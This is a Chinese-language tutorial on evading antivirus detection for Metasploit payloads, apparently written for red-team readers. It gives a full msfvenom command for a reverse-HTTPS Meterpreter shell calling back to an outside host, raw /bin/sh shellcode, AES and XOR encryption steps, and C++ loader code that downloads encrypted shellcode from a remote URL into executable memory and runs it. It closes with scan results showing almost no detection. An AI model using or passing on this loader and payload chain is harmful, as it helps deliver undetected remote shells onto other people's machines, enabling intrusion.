前言:
免杀这个词想必各位网络安全领域从业者并不陌生,对于从事攻防对抗的人来说,是一项非常重要的技能,有时候想用cs或msf反弹一个shell,但是由于安全软件的存在而被拦截,这是一件非常苦闷难受的事情,但是我们又不得不面对。专门去学习的话,需要大量时间不说,同时这方面的技术林林总总涉及的非常广,实话实说真不是那么容易就能掌握学会。大学时候就开始研究这方面的技术,当时买了一本黑客攻防免杀的书籍,跟着学习了之后对灰鸽子远控进行免杀,然而并没有免杀成功。工作了之后又不得不面对这样的场景,本文就给大家分享一种非常实用又简单的免杀方法,而且可以针对每个部分单独进行编码可以达到持续性免杀。文章内容是去年给团队做的分享,最近看到有人用公开的免杀工具做免杀,自认为即麻烦效果又一般,更何况这些工具一发出来怎么可能不被各大安全厂商盯上呢。文章内容没什么高深的技术,都是网上的资料,笔者只是研究总结将各个点串起来,形成一套实用的方法论,压着箱底也没啥意思,给大家分享一下。
正文:
用到的技术
- 分离免杀
把shellcode 和 loader进行分离,shellcode不编译到代码通过通信协议传输到loader加载执行;或将shellcode隐藏到图片中,从图片中提取执行。
- 加密技术
使用加密算法对shellcode 进行加密,执行的时候在内存进行解密加载执行
- ShellCode loader
shellcode加载器,通常C/C++的做法是定义一个数组或分配一段内存存储shellcode,然后将shellcode的地址指针转换为函数指针进行调用。也可以自己实现一个比较复杂的 loader不容易查杀,或者使用其他语言编写loader。
实战:
本节通过实战一步一步带着大家实现msf的免杀。
编译环境:vs 2010
编写语言:c/c++
测试平台:virustotal 和virscan
步骤:
-
准备msf shellcode
-
加密shellcode
-
传输shellcode加载执行
准备msf shellcode
这里使用 payload windows/meterpreter/reverse_winhttps
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=flystart.org LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/opt/flystart.org.pem StagerVerifySSLCert=true PayloadUUIDName=Green_m -e x86/alpha_mixed -a windows -f raw -a x86 --platform windows BufferRegister=EAX -o payload
生成的payload 使用 alpha_mixed 加密算法进行加密,这样生成的shellcode就都是ascii 可见字符, BufferRegister=EAX 这个参数用来设置shellcode开始运行的时候起始地址必须保存的寄存器,换句话说shellcode 开始准备运行的时候,eax的值必须是shellcode的基址,我们在加载器中就可以通过以下方法加载shellcode
__asm{
mov eax,dword ptr Memory
call eax;
}
加密shellcode
为了免杀效果更好,可以使用一些加密算法对shellcode进行加密处理,作者使用aes加密器算法写了一个简单的加密器进行加密,代码里面还添加一种异或算法,可以进行修改使用。如果你使用其他shellcode,建议使用msf的编码器进行编码为ascii 可见字符shellcode,不然加密可能会出现意外结果。方法如下:
python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform windows BufferRegister=EAX -o payload
Xor_Encry_File.exe -en payload bin_aes
Xor_encry_file.exe是笔者实现的加密程序,实现了aes和简单xor加密运算,当然各位可以使用自己擅长的编程语言编写加密程序,具体实现请参考代码。
为了测试shellcode 笔者使用python编写了可以直接生成c语言shellcode 头文件sh.h,添加到你的工程中即可,该脚本也实现c语言工程中的xor 加解密算法,通过-e 参数设置,默认不加密。
bin2_shellcode.py -f reverse_winhttps -e 1
传输shellcode加载执行
Shellcode的传输通过tcp和http协议来实现,大家可以使用ftp,smb等各种其他协议来实现;loader使用网上最简单的实现方式,可以使用python,go,c#等语言来编写可能免杀效果更好。
-
通过http 信道传输shellcode
代码中通过使用libcurl 下载shellcode 加载到内存运行
核心代码如下:
string get_cipher(const string& url)
{
string cipher="";
CURL *curl;
CURLcode res;
string data;
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeToString);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data);
res = curl_easy_perform(curl);
cipher = data;
curl_easy_cleanup(curl);
}
return cipher;
}
void call_masm()
{
string url = "http://test.com/xx.jpg";
string cipher = get_cipher(url);
//std::cout << cipher << std::endl;
if (cipher.length() > 0){
string deStr= DecryptionAES(cipher);
void* pMessage = (char*)deStr.c_str();
unsigned long len_message = deStr.length();
void* Memory = VirtualAlloc(NULL, sizeof(pMessage)+1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ZeroMemory(Memory,len_message+1);
memcpy(Memory, pMessage, len_message);
//((void(*)())Memory)();
__asm{
mov eax,dword ptr Memory
call eax;
}
};
}
需要下载编译libcurl ,我们项目中使用的是静态库,所以需要编译静态库
笔者开发ide使用的是vs 2010,简单描述一下编译使用过程:
1.编译libcurl
a)下载curllib ,笔者使用的是版本curl -7.32.0
b)解压后使用vs 2010 打开 vs/vc6/目录下的dsw工程
c)选择编译 LIB Release,如果你想调试的话就选Debug版本
d)编译后会在vs/vc6/lib 目录下生成静态lib
e)项目中设置包含目录和库目录
设置环境变量
CURL_INC和CURL_LIB
例如 CURL_INC设置为C:\curl-7.32.0\curl-7.32.0\include
例如 CURL_LIB设置为C:\curl-7.32.0\vs\vc6\lib\lib-release
添加预定义处理CURL_STATICLIB
要使用libcurl必须要将ws2_32.lib wldap32.lib libcurl.lib 链接进去,可以添加如下代码
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wldap32.lib")
#pragma comment(lib,"libcurl.lib")
然后就可以编译通过了,具体参考代码,为了能够在别人的机器上也能够运行,我们必须编译为静态文件,注意MF使用和字符集的配置,同时代码中也需要添加
#pragma comment(lib, "Advapi32.lib")
不然编译会出错
-
通过tcp信道传输shellcode
代码通过tcp协议下载shellcode到内存加载执行,实现比较简单,详情参考代码。
-
测试结果:
www.virscan.org 和 https://www.virustotal.com 测试结果显示,使用http隧道情况下,virscan显示没有一款可以检测到,virustotal有两款可以检测。使用tcp隧道情况下,virscan 一款可以检测到,而virustotal显示至少有八款杀毒引擎可以检测到。
http 隧道检测结果对比:
结语:
本文只是笔者针对msf进行免杀的一个实践,技术范畴属于免杀技术里面很小的一部分,但至少可以应对实战中由于杀软的存在而遇到的难题,在有了 msf或cs shell之后,我们就可以进行后续的操作了,希望能给各位带来帮助。